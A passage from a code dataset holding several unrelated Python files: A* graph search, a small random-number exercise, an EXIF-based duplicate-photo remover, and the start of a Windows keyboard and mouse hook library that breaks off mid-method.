new_cost)\n queue_set[child] = new_cost\n \n visited.add(subtree_root)\n \n\ndef nullHeuristic(state, problem=None):\n \"\"\"\n A heuristic function estimates the cost from the current state to the nearest\n goal in the provided SearchProblem. This heuristic is trivial.\n \"\"\"\n return 0\n\ndef aStarSearch(problem, heuristic=nullHeuristic):\n \"\"\"Search the node that has the lowest combined cost and heuristic first.\"\"\"\n \"*** YOUR CODE HERE ***\"\n queue = util.PriorityQueue()\n queue_set = dict() # a set representation of the queue, to check if something's in there\n\n visited = set()\n \n # a dictionary to maintain meta information (used for path formation)\n # key -> (parent state, action to reach child, total cost to reach child)\n meta = dict()\n\n # initialize\n root = problem.getStartState()\n meta[root] = (None, None, 0)\n queue.push(root, heuristic(root, problem))\n queue_set[root] = heuristic(root, problem)\n\n while not queue.isEmpty():\n subtree_root = queue.pop()\n queue_set.pop(subtree_root)\n\n if problem.isGoalState(subtree_root):\n #use metadata to construct path from start to goal\n return construct_path(subtree_root, meta)\n\n for (child, action, cost) in problem.getSuccessors(subtree_root):\n if child in visited:\n continue\n\n new_cost = meta[subtree_root][2] + cost\n if child not in queue_set:\n meta[child] = (subtree_root, action, new_cost) # create metadata for these nodes\n queue.push(child, new_cost + heuristic(child, problem))\n queue_set[child] = new_cost\n elif new_cost + heuristic(child, problem) < queue_set[child]: # allows for updating nodes\n meta[child] = (subtree_root, action, new_cost)\n queue.update(child, new_cost + heuristic(child, problem))\n queue_set[child] = new_cost + heuristic(child, problem)\n \n visited.add(subtree_root)\n\n\n# Abbreviations\nbfs = breadthFirstSearch\ndfs = depthFirstSearch\nastar = aStarSearch\nucs = uniformCostSearch\n","sub_path":"Project1/search/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":8938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"283038355","text":"from helpers import getNum\nfrom random import randint\n\ndef randomNumbers(number):\n result = []\n for i in str(number):\n result.append(randint (0,100))\n return result\n\ndef largerThan(array,number):\n result = []\n for item in range (len(array)):\n if array[item] > number:\n if item not in result:\n result.append(array[item])\n print (\"List of numbers:\", array)\n print (\"Numbers that are greater than [n]:\", result)\n\ndef main():\n howMany = getNum(\"Enter a number between 10 and 20: \" ,10,20)\n list = randomNumbers(howMany)\n n = getNum(\"Enter a number between 0 and 100: \",0,100)\n largerThan(list,n)\n \nmain()\n","sub_path":"grimm-exercise6.py","file_name":"grimm-exercise6.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"566699085","text":"#!/usr/bin/python\n\nimport os\nfrom math import asin, cos, radians, sin, sqrt\nfrom PIL import Image\nfrom PIL.ExifTags import TAGS, GPSTAGS\nimport time\n\n\nv_print = None\n\n\nclass FileProperties(object):\n def __init__(self, longitude, latitude, timestamp, compas, filename):\n self._longitude = longitude\n self._latitude = latitude\n self._timestamp = timestamp\n self._filename = filename\n self._compas = compas\n self._duplicate = False\n self._teleporting = False\n\n @property\n def get_lat(self):\n return self._latitude\n\n @property\n def get_long(self):\n return self._longitude\n\n @property\n def get_timestamp(self):\n return self._timestamp\n\n @property\n def get_filename(self):\n return self._filename\n\n @property\n def get_compas(self):\n return self._compas\n\n @property\n def is_duplicate(self):\n return self._duplicate\n\n @property\n def is_teleporting(self):\n return self._teleporting\n\n @is_duplicate.setter\n def is_duplicate(self, value):\n self.duplicate = value\n\n @is_teleporting.setter\n def is_teleporting(self, value):\n self._teleporting = value\n\n\n\n\ndef get_gps_lat_long_compass(path_image):\n image = Image.open(path_image)\n try:\n info = image._getexif()\n except Exception as e:\n print(e)\n if info:\n exif_data = {}\n for tag, value in list(info.items()):\n decoded = TAGS.get(tag, tag)\n if decoded == \"GPSInfo\":\n gps_data = {}\n for t in value:\n sub_decoded = GPSTAGS.get(t, t)\n gps_data[sub_decoded] = value[t]\n exif_data[decoded] = gps_data\n else:\n exif_data[decoded] = value\n exif_data_gpsInfo = exif_data.get('GPSInfo')\n if not exif_data_gpsInfo:\n\n raise ValueError(\"No GPS metadata found.\")\n try :\n lat = exif_data_gpsInfo['GPSLatitude']\n except Exception as ex:\n print(ex)\n print(\"Error NO LATITUDE INFO\")\n try :\n long = exif_data_gpsInfo['GPSLongitude']\n except Exception as ex :\n print(ex)\n print(\"Error NO LONGITUDE INFO\")\n\n try:\n if lat and int :\n lat = round(float(lat[0][0]) / float(lat[0][1]) + float(lat[1][0]) / float(lat[1][1]) / 60.0 + float(lat[2][0]) / float(lat[2][1]) / 3600.0, 4)\n long = round(float(long[0][0]) / float(long[0][1]) + float(long[1][0]) / float(long[1][1]) / 60.0 + float(long[2][0]) / float(long[2][1]) / 3600.0, 4)\n if exif_data_gpsInfo['GPSLatitudeRef'] == 'S':\n lat = 0 - lat\n if exif_data_gpsInfo['GPSLongitudeRef'] == 'W':\n long = 0 - long\n except Exception as ex:\n print (ex)\n print(\"Error NO LAT/LONG INFO\")\n try :\n compas = exif_data_gpsInfo['GPSImgDirection']\n compas = compas[0] / compas[1]\n except Exception:\n try:\n compas = exif_data_gpsInfo['GPSTrack']\n compas = compas[0] / compas[1]\n except Exception:\n compas = -1\n print(\"NO COMPAS INFO - optional\")\n return lat, long, compas\n\n\ndef calc_distance(lon1, lat1, lon2, lat2):\n \"\"\"\n Calculate the distance in meters between two points\n \"\"\"\n # convert decimal degrees to radians\n lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2])\n\n # haversine formula\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2\n c = 2 * asin(sqrt(a))\n r = 6371000 # Average Earth Radius in meters\n return r * c\n\n\ndef do_science(file_path, max_speed, dist_threshold, radius_threshold, min_duplicates, duplicate_folder):\n prev_lat = None\n prev_long = None\n prev_ts = None\n prev_compas = None\n duplicate_cnt = 0\n\n # Get the list of files\n if os.path.basename(file_path) != \"\":\n file_path = file_path + \"/\"\n old_dir = os.getcwd()\n os.chdir(file_path)\n # order in chronological order(modified time)\n photos_path = sorted(os.listdir(file_path), key=os.path.getmtime)\n os.chdir(old_dir)\n if not os.path.exists(file_path + duplicate_folder +\"/\"):\n os.mkdir(file_path + duplicate_folder +\"/\")\n\n file_properties = []\n\n # Check that travel time is physically possible\n for photo_path in [p.lower() for p in photos_path]:\n if ('jpg' in photo_path or 'jpeg' in photo_path) and \"thumb\" not in photo_path:\n latitude, longitude, compas = get_gps_lat_long_compass(file_path + photo_path)\n if prev_lat is None or prev_long is None or prev_ts is None:\n prev_lat = latitude\n prev_long = longitude\n prev_ts = os.path.getmtime(file_path + photo_path)\n prev_compas = compas\n file = FileProperties(longitude, latitude, prev_ts, compas, photo_path)\n file_properties.append(file)\n continue # first image in the sequence\n file = FileProperties(longitude, latitude, os.path.getmtime(file_path + photo_path), prev_compas, photo_path)\n\n # calculate distance in meters\n dist_diff = calc_distance(prev_long, prev_lat, longitude, latitude)\n compas_diff = abs(compas - prev_compas)\n v_print(1, \"Moved: \" + str(dist_diff) + \"m\")\n v_print(1, \"Rotated: \" + str(compas_diff) + \" degrees\")\n timespan = (file.get_timestamp-prev_ts) # Difference in Seconds\n if timespan == 0:\n # same picture or taken at same time\n file.is_duplicate = True\n continue # Pass to next image\n km_h = (dist_diff / timespan) * 3.6 # Calculate m/s and convert to km/h\n v_print(1, \"Speed: \" + str(km_h) + \"km/h\")\n if km_h > max_speed:\n file.is_teleporting = True\n print(\"ERR: Rate of travel for this sequence is too high. Did you accidentally merge two sequences?\")\n print(\"ERR: Found in \" + file.get_filename)\n exit(1)\n if dist_diff < dist_threshold and compas_diff < radius_threshold:\n duplicate_cnt += 1\n else:\n duplicate_cnt = 0\n if duplicate_cnt >= min_duplicates:\n file.is_duplicate = True\n os.rename(file_path + photo_path, file_path + duplicate_folder + \"/\" + photo_path)\n v_print(1, \"Found duplicate!\")\n file_properties.append(file)\n prev_lat = latitude\n prev_long = longitude\n prev_ts = file.get_timestamp\n prev_compas = compas\n\n\nif __name__ == \"__main__\":\n # Minimum of photos in \"same location\" to be considered duplicates\n min_duplicates = 2\n # Minimum distance a photo should move to not be considered a duplicate (in meters)\n dist_threshold = 4\n # Minimum turn radius a photo should move to not be considered a duplicate (degrees)\n radius_threshold = 20\n # Maximum amount of speed before it's considered teleporting in km/h\n max_speed = 300\n # Folder name to which it will copy the duplicate photos (instead of deleting)\n duplicate_folder = \"duplicates\"\n # Enable verbosity\n verbose = False\n # Verbosity level\n verbose_level = 3\n if verbose:\n def _v_print(*verb_args):\n if verb_args[0] > (3 - verbose_level):\n print(verb_args[1])\n else:\n _v_print = lambda *a: None # do-nothing function\n\n global v_print\n v_print = _v_print\n startTime = time.time()\n do_science(\"C:/pyscripts/openstreetview/PICTURES\", max_speed, dist_threshold, radius_threshold, min_duplicates, duplicate_folder)\n print('The script took {0} second !'.format(time.time() - startTime))\n","sub_path":"OpenStreetView/remove_duplicates.py","file_name":"remove_duplicates.py","file_ext":"py","file_size_in_byte":7968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"9673439","text":"import cpyHook\r\n\r\ndef GetKeyState(key_id):\r\n return cpyHook.cGetKeyState(key_id)\r\n\r\nclass HookConstants:\r\n '''\r\n Stores internal windows hook constants including hook types, mappings from virtual\r\n keycode name to value and value to name, and event type value to name.\r\n '''\r\n WH_MIN = -1\r\n WH_MSGFILTER = -1\r\n WH_JOURNALRECORD = 0\r\n WH_JOURNALPLAYBACK = 1\r\n WH_KEYBOARD = 2\r\n WH_GETMESSAGE = 3\r\n WH_CALLWNDPROC = 4\r\n WH_CBT = 5\r\n WH_SYSMSGFILTER = 6\r\n WH_MOUSE = 7\r\n WH_HARDWARE = 8\r\n WH_DEBUG = 9\r\n WH_SHELL = 10\r\n WH_FOREGROUNDIDLE = 11\r\n WH_CALLWNDPROCRET = 12\r\n WH_KEYBOARD_LL = 13\r\n WH_MOUSE_LL = 14\r\n WH_MAX = 15\r\n\r\n WM_MOUSEFIRST = 0x0200\r\n WM_MOUSEMOVE = 0x0200\r\n WM_LBUTTONDOWN = 0x0201\r\n WM_LBUTTONUP = 0x0202\r\n WM_LBUTTONDBLCLK = 0x0203\r\n WM_RBUTTONDOWN =0x0204\r\n WM_RBUTTONUP = 0x0205\r\n WM_RBUTTONDBLCLK = 0x0206\r\n WM_MBUTTONDOWN = 0x0207\r\n WM_MBUTTONUP = 0x0208\r\n WM_MBUTTONDBLCLK = 0x0209\r\n WM_MOUSEWHEEL = 0x020A\r\n WM_MOUSELAST = 0x020A\r\n\r\n WM_KEYFIRST = 0x0100\r\n WM_KEYDOWN = 0x0100\r\n WM_KEYUP = 0x0101\r\n WM_CHAR = 0x0102\r\n WM_DEADCHAR = 0x0103\r\n WM_SYSKEYDOWN = 0x0104\r\n WM_SYSKEYUP = 0x0105\r\n WM_SYSCHAR = 0x0106\r\n WM_SYSDEADCHAR = 0x0107\r\n WM_KEYLAST = 0x0108\r\n\r\n\r\n #VK_0 thru VK_9 are the same as ASCII '0' thru '9' (0x30 -' : 0x39)\r\n #VK_A thru VK_Z are the same as ASCII 'A' thru 'Z' (0x41 -' : 0x5A)\r\n\r\n #virtual keycode constant names to virtual keycodes numerical id\r\n vk_to_id = {'VK_LBUTTON' : 0x01, 'VK_RBUTTON' : 0x02, 'VK_CANCEL' : 0x03, 'VK_MBUTTON' : 0x04,\r\n 'VK_BACK' : 0x08, 'VK_TAB' : 0x09, 'VK_CLEAR' : 0x0C, 'VK_RETURN' : 0x0D, 'VK_SHIFT' : 0x10,\r\n 'VK_CONTROL' : 0x11, 'VK_MENU' : 0x12, 'VK_PAUSE' : 0x13, 'VK_CAPITAL' : 0x14, 'VK_KANA' : 0x15,\r\n 'VK_HANGEUL' : 0x15, 'VK_HANGUL' : 0x15, 'VK_JUNJA' : 0x17, 'VK_FINAL' : 0x18, 'VK_HANJA' : 0x19,\r\n 'VK_KANJI' : 0x19, 'VK_ESCAPE' : 0x1B, 'VK_CONVERT' : 0x1C, 'VK_NONCONVERT' : 0x1D, 'VK_ACCEPT' : 0x1E,\r\n 'VK_MODECHANGE' : 0x1F, 'VK_SPACE' : 0x20, 'VK_PRIOR' : 0x21, 'VK_NEXT' : 0x22, 'VK_END' : 0x23,\r\n 'VK_HOME' : 0x24, 'VK_LEFT' : 0x25, 'VK_UP' : 0x26, 'VK_RIGHT' : 0x27, 'VK_DOWN' : 0x28,\r\n 'VK_SELECT' : 0x29, 'VK_PRINT' : 0x2A, 'VK_EXECUTE' : 0x2B, 'VK_SNAPSHOT' : 0x2C, 'VK_INSERT' : 0x2D,\r\n 'VK_DELETE' : 0x2E, 'VK_HELP' : 0x2F, 'VK_LWIN' : 0x5B, 'VK_RWIN' : 0x5C, 'VK_APPS' : 0x5D,\r\n 'VK_NUMPAD0' : 0x60, 'VK_NUMPAD1' : 0x61, 'VK_NUMPAD2' : 0x62, 'VK_NUMPAD3' : 0x63, 'VK_NUMPAD4' : 0x64,\r\n 'VK_NUMPAD5' : 0x65, 'VK_NUMPAD6' : 0x66, 'VK_NUMPAD7' : 0x67, 'VK_NUMPAD8' : 0x68, 'VK_NUMPAD9' : 0x69,\r\n 'VK_MULTIPLY' : 0x6A, 'VK_ADD' : 0x6B, 'VK_SEPARATOR' : 0x6C, 'VK_SUBTRACT' : 0x6D, 'VK_DECIMAL' : 0x6E,\r\n 'VK_DIVIDE' : 0x6F ,'VK_F1' : 0x70, 'VK_F2' : 0x71, 'VK_F3' : 0x72, 'VK_F4' : 0x73, 'VK_F5' : 0x74,\r\n 'VK_F6' : 0x75, 'VK_F7' : 0x76, 'VK_F8' : 0x77, 'VK_F9' : 0x78, 'VK_F10' : 0x79, 'VK_F11' : 0x7A,\r\n 'VK_F12' : 0x7B, 'VK_F13' : 0x7C, 'VK_F14' : 0x7D, 'VK_F15' : 0x7E, 'VK_F16' : 0x7F, 'VK_F17' : 0x80,\r\n 'VK_F18' : 0x81, 'VK_F19' : 0x82, 'VK_F20' : 0x83, 'VK_F21' : 0x84, 'VK_F22' : 0x85, 'VK_F23' : 0x86,\r\n 'VK_F24' : 0x87, 'VK_NUMLOCK' : 0x90, 'VK_SCROLL' : 0x91, 'VK_LSHIFT' : 0xA0, 'VK_RSHIFT' : 0xA1,\r\n 'VK_LCONTROL' : 0xA2, 'VK_RCONTROL' : 0xA3, 'VK_LMENU' : 0xA4, 'VK_RMENU' : 0xA5, 'VK_PROCESSKEY' : 0xE5,\r\n 'VK_ATTN' : 0xF6, 'VK_CRSEL' : 0xF7, 'VK_EXSEL' : 0xF8, 'VK_EREOF' : 0xF9, 'VK_PLAY' : 0xFA,\r\n 'VK_ZOOM' : 0xFB, 'VK_NONAME' : 0xFC, 'VK_PA1' : 0xFD, 'VK_OEM_CLEAR' : 0xFE, 'VK_BROWSER_BACK' : 0xA6,\r\n 'VK_BROWSER_FORWARD' : 0xA7, 'VK_BROWSER_REFRESH' : 0xA8, 'VK_BROWSER_STOP' : 0xA9, 'VK_BROWSER_SEARCH' : 0xAA,\r\n 'VK_BROWSER_FAVORITES' : 0xAB, 'VK_BROWSER_HOME' : 0xAC, 'VK_VOLUME_MUTE' : 0xAD, 'VK_VOLUME_DOWN' : 0xAE,\r\n 'VK_VOLUME_UP' : 0xAF, 'VK_MEDIA_NEXT_TRACK' : 0xB0, 'VK_MEDIA_PREV_TRACK' : 0xB1, 'VK_MEDIA_STOP' : 0xB2,\r\n 'VK_MEDIA_PLAY_PAUSE' : 0xB3, 'VK_LAUNCH_MAIL' : 0xB4, 'VK_LAUNCH_MEDIA_SELECT' : 0xB5, 'VK_LAUNCH_APP1' : 0xB6,\r\n 'VK_LAUNCH_APP2' : 0xB7, 'VK_OEM_1' : 0xBA, 'VK_OEM_PLUS' : 0xBB, 'VK_OEM_COMMA' : 0xBC, 'VK_OEM_MINUS' : 0xBD,\r\n 'VK_OEM_PERIOD' : 0xBE, 'VK_OEM_2' : 0xBF, 'VK_OEM_3' : 0xC0, 'VK_OEM_4' : 0xDB, 'VK_OEM_5' : 0xDC,\r\n 'VK_OEM_6' : 0xDD, 'VK_OEM_7' : 0xDE, 'VK_OEM_8' : 0xDF, 'VK_OEM_102' : 0xE2, 'VK_PROCESSKEY' : 0xE5,\r\n 'VK_PACKET' : 0xE7}\r\n\r\n #inverse mapping of keycodes\r\n id_to_vk = dict([(v,k) for k,v in vk_to_id.items()])\r\n\r\n #message constants to message names\r\n msg_to_name = {WM_MOUSEMOVE : 'mouse move', WM_LBUTTONDOWN : 'mouse left down',\r\n WM_LBUTTONUP : 'mouse left up', WM_LBUTTONDBLCLK : 'mouse left double',\r\n WM_RBUTTONDOWN : 'mouse right down', WM_RBUTTONUP : 'mouse right up',\r\n WM_RBUTTONDBLCLK : 'mouse right double', WM_MBUTTONDOWN : 'mouse middle down',\r\n WM_MBUTTONUP : 'mouse middle up', WM_MBUTTONDBLCLK : 'mouse middle double',\r\n WM_MOUSEWHEEL : 'mouse wheel', WM_KEYDOWN : 'key down',\r\n WM_KEYUP : 'key up', WM_CHAR : 'key char', WM_DEADCHAR : 'key dead char',\r\n WM_SYSKEYDOWN : 'key sys down', WM_SYSKEYUP : 'key sys up',\r\n WM_SYSCHAR : 'key sys char', WM_SYSDEADCHAR : 'key sys dead char'}\r\n\r\n def MsgToName(cls, msg):\r\n '''\r\n Class method. Converts a message value to message name.\r\n\r\n @param msg: Keyboard or mouse event message\r\n @type msg: integer\r\n @return: Name of the event\r\n @rtype: string\r\n '''\r\n return HookConstants.msg_to_name.get(msg)\r\n\r\n def VKeyToID(cls, vkey):\r\n '''\r\n Class method. Converts a virtual keycode name to its value.\r\n\r\n @param vkey: Virtual keycode name\r\n @type vkey: string\r\n @return: Virtual keycode value\r\n @rtype: integer\r\n '''\r\n return HookConstants.vk_to_id.get(vkey)\r\n\r\n def IDToName(cls, code):\r\n '''\r\n Class method. Gets the keycode name for the given value.\r\n\r\n @param code: Virtual keycode value\r\n @type code: integer\r\n @return: Virtual keycode name\r\n @rtype: string\r\n '''\r\n if (code >= 0x30 and code <= 0x39) or (code >= 0x41 and code <= 0x5A):\r\n text = chr(code)\r\n else:\r\n text = HookConstants.id_to_vk.get(code)\r\n if text is not None:\r\n text = text[3:].title()\r\n return text\r\n\r\n MsgToName=classmethod(MsgToName)\r\n IDToName=classmethod(IDToName)\r\n VKeyToID=classmethod(VKeyToID)\r\n\r\nclass HookEvent(object):\r\n '''\r\n Holds information about a general hook event.\r\n\r\n @ivar Message: Keyboard or mouse event message\r\n @type Message: integer\r\n @ivar Time: Seconds since the epoch when the even current\r\n @type Time: integer\r\n @ivar Window: Window handle of the foreground window at the time of the event\r\n @type Window: integer\r\n @ivar WindowName: Name of the foreground window at the time of the event\r\n @type WindowName: string\r\n '''\r\n def __init__(self, msg, time, hwnd, window_name):\r\n '''Initializes an event instance.'''\r\n self.Message = msg\r\n self.Time = time\r\n self.Window = hwnd\r\n self.WindowName = window_name\r\n\r\n def GetMessageName(self):\r\n '''\r\n @return: Name of the event\r\n @rtype: string\r\n '''\r\n return HookConstants.MsgToName(self.Message)\r\n MessageName = property(fget=GetMessageName)\r\n\r\nclass MouseEvent(HookEvent):\r\n '''\r\n Holds information about a mouse event.\r\n\r\n @ivar Position: Location of the mouse event on the screen\r\n @type Position: 2-tuple of integer\r\n @ivar Wheel: Positive if the wheel scrolls up, negative if down, zero otherwise\r\n @type Wheel: integer\r\n @ivar Injected: Was this event generated programmatically?\r\n @type Injected: boolean\r\n '''\r\n def __init__(self, msg, x, y, data, flags, time, hwnd, window_name):\r\n '''Initializes an instance of the class.'''\r\n HookEvent.__init__(self, msg, time, hwnd, window_name)\r\n self.Position = (x,y)\r\n if data > 0: w = 1\r\n elif data < 0: w = -1\r\n else: w = 0\r\n self.Wheel = w\r\n self.Injected = flags & 0x01\r\n\r\nclass KeyboardEvent(HookEvent):\r\n '''\r\n Holds information about a mouse event.\r\n\r\n @ivar KeyID: Virtual key code\r\n @type KeyID: integer\r\n @ivar ScanCode: Scan code\r\n @type ScanCode: integer\r\n @ivar Ascii: ASCII value, if one exists\r\n @type Ascii: string\r\n '''\r\n def __init__(self, msg, vk_code, scan_code, ascii, flags, time, hwnd, window_name):\r\n '''Initializes an instances of the class.'''\r\n HookEvent.__init__(self, msg, time, hwnd, window_name)\r\n self.KeyID = vk_code\r\n self.ScanCode = scan_code\r\n self.Ascii = ascii\r\n self.flags = flags\r\n\r\n def GetKey(self):\r\n '''\r\n @return: Name of the virtual keycode\r\n @rtype: string\r\n '''\r\n return HookConstants.IDToName(self.KeyID)\r\n\r\n def IsExtended(self):\r\n '''\r\n @return: Is this an extended key?\r\n @rtype: boolean\r\n '''\r\n return self.flags & 0x01\r\n\r\n def IsInjected(self):\r\n '''\r\n @return: Was this event generated programmatically?\r\n @rtype: boolean\r\n '''\r\n return self.flags & 0x10\r\n\r\n def IsAlt(self):\r\n '''\r\n @return: Was the alt key depressed?\r\n @rtype: boolean\r\n '''\r\n return self.flags & 0x20\r\n\r\n def IsTransition(self):\r\n '''\r\n @return: Is this a transition from up to down or vice versa?\r\n @rtype: boolean\r\n '''\r\n return self.flags & 0x80\r\n\r\n Key = property(fget=GetKey)\r\n Extended = property(fget=IsExtended)\r\n Injected = property(fget=IsInjected)\r\n Alt = property(fget=IsAlt)\r\n Transition = property(fget=IsTransition)\r\n\r\nclass HookManager(object):\r\n '''\r\n Registers and manages callbacks for low level mouse and keyboard events.\r\n\r\n @ivar mouse_funcs: Callbacks for mouse events\r\n @type mouse_funcs: dictionary\r\n @ivar keyboard_funcs: Callbacks for keyboard events\r\n @type keyboard_funcs: dictionary\r\n @ivar mouse_hook: Is a mouse hook set?\r\n @type mouse_hook: boolean\r\n @ivar key_hook: Is a keyboard hook set?\r\n @type key_hook: boolean\r\n '''\r\n def __init__(self):\r\n '''Initializes an instance by setting up an empty set of handlers.'''\r\n self.mouse_funcs = {}\r\n self.keyboard_funcs = {}\r\n\r\n self.mouse_hook = False\r\n self.key_hook = False\r\n\r\n def __del__(self):\r\n '''Unhook all registered hooks.'''\r\n self.UnhookMouse()\r\n self.UnhookKeyboard()\r\n\r\n def HookMouse(self):\r\n '''Begins watching for mouse events.'''\r\n cpyHook.cSetHook(HookConstants.WH_MOUSE_LL, self.MouseSwitch)\r\n self.mouse_hook = True\r\n\r\n def HookKeyboard(self):\r\n '''Begins watching for keyboard events.'''\r\n cpyHook.cSetHook(HookConstants.WH_KEYBOARD_LL, self.KeyboardSwitch)\r\n self.keyboard_hook = True\r\n\r\n def UnhookMouse(self):\r\n '''Stops watching for mouse events.'''\r\n if self.mouse_hook:\r\n cpyHook.cUnhook(HookConstants.WH_MOUSE_LL)\r\n self.mouse_hook = False\r\n\r\n def UnhookKeyboard(self):\r\n '''Stops watching for keyboard events.'''\r\n if self.keyboard_hook:\r\n cpyHook.cUnhook(HookConstants.WH_KEYBOARD_LL)\r\n self.keyboard_hook = False\r\n\r\n def MouseSwitch(self, msg, x, y, data, flags, time, hwnd, window_name):\r\n '''\r\n Passes a mouse event on to the appropriate handler if one is registered.\r\n\r\n @param msg: Message value\r\n @type msg: integer\r\n @param x: x-coordinate of the mouse event\r\n @type x: integer\r\n @param y: y-coordinate of the mouse event\r\n @type y: integer\r\n @param data: Data associated with the mouse event (scroll information)\r\n @type data: integer\r\n @param flags: Flags associated with the mouse event (injected or not)\r\n @type flags: integer\r\n @param time: Seconds since the epoch when the even current\r\n @type time: integer\r\n @param hwnd: Window handle of the foreground window at the time of the event\r\n @type hwnd: integer\r\n '''\r\n event = MouseEvent(msg, x, y, data, flags, time, hwnd, window_name)\r\n func = self.mouse_funcs.get(msg)\r\n if func:\r\n return func(event)\r\n else:\r\n return True\r\n\r\n def KeyboardSwitch(self, msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name):\r\n '''\r\n Passes a keyboard event on to the appropriate handler if one is registered.\r\n\r\n @param msg: Message value\r\n @type msg: integer\r\n @param vk_code: The virtual keycode of the key\r\n @type vk_code: integer\r\n @param scan_code: The scan code of the key\r\n @type scan_code: integer\r\n @param ascii: ASCII numeric value for the key if available\r\n @type ascii: integer\r\n @param flags: Flags associated with the key event (injected or not, extended key, etc.)\r\n @type flags: integer\r\n @param time: Time since the epoch of the key event\r\n @type time: integer\r\n @param hwnd: Window handle of the foreground window at the time of the event\r\n @type hwnd: integer\r\n '''\r\n event = KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name)\r\n func = self.keyboard_funcs.get(msg)\r\n if func:\r\n return func(event)\r\n else:\r\n return True\r\n\r\n def SubscribeMouseMove(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseMove property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_MOUSEMOVE)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_MOUSEMOVE, func)\r\n\r\n def SubscribeMouseLeftUp(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseLeftUp property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_LBUTTONUP)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_LBUTTONUP, func)\r\n\r\n def SubscribeMouseLeftDown(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseLeftDown property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_LBUTTONDOWN)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_LBUTTONDOWN, func)\r\n\r\n def SubscribeMouseLeftDbl(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseLeftDbl property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_LBUTTONDBLCLK)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_LBUTTONDBLCLK, func)\r\n\r\n def SubscribeMouseRightUp(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseRightUp property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_RBUTTONUP)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_RBUTTONUP, func)\r\n\r\n def SubscribeMouseRightDown(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseRightDown property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_RBUTTONDOWN)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_RBUTTONDOWN, func)\r\n\r\n def SubscribeMouseRightDbl(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseRightDbl property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_RBUTTONDBLCLK)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_RBUTTONDBLCLK, func)\r\n\r\n def SubscribeMouseMiddleUp(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseMiddleUp property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_MBUTTONUP)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_MBUTTONUP, func)\r\n\r\n def SubscribeMouseMiddleDown(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseMiddleDown property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_MBUTTONDOWN)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_MBUTTONDOWN, func)\r\n\r\n def SubscribeMouseMiddleDbl(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseMiddleDbl property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_MBUTTONDBLCLK)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_MBUTTONDBLCLK, func)\r\n\r\n def SubscribeMouseWheel(self, func):\r\n '''\r\n Registers the given function as the callback for this mouse event type. Use the\r\n MouseWheel property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.mouse_funcs, HookConstants.WM_MOUSEWHEEL)\r\n else:\r\n self.connect(self.mouse_funcs, HookConstants.WM_MOUSEWHEEL, func)\r\n\r\n def SubscribeMouseAll(self, func):\r\n '''\r\n Registers the given function as the callback for all mouse events. Use the\r\n MouseAll property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n self.SubscribeMouseMove(func)\r\n self.SubscribeMouseWheel(func)\r\n self.SubscribeMouseAllButtons(func)\r\n\r\n def SubscribeMouseAllButtons(self, func):\r\n '''\r\n Registers the given function as the callback for all mouse button events. Use the\r\n MouseButtonAll property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n 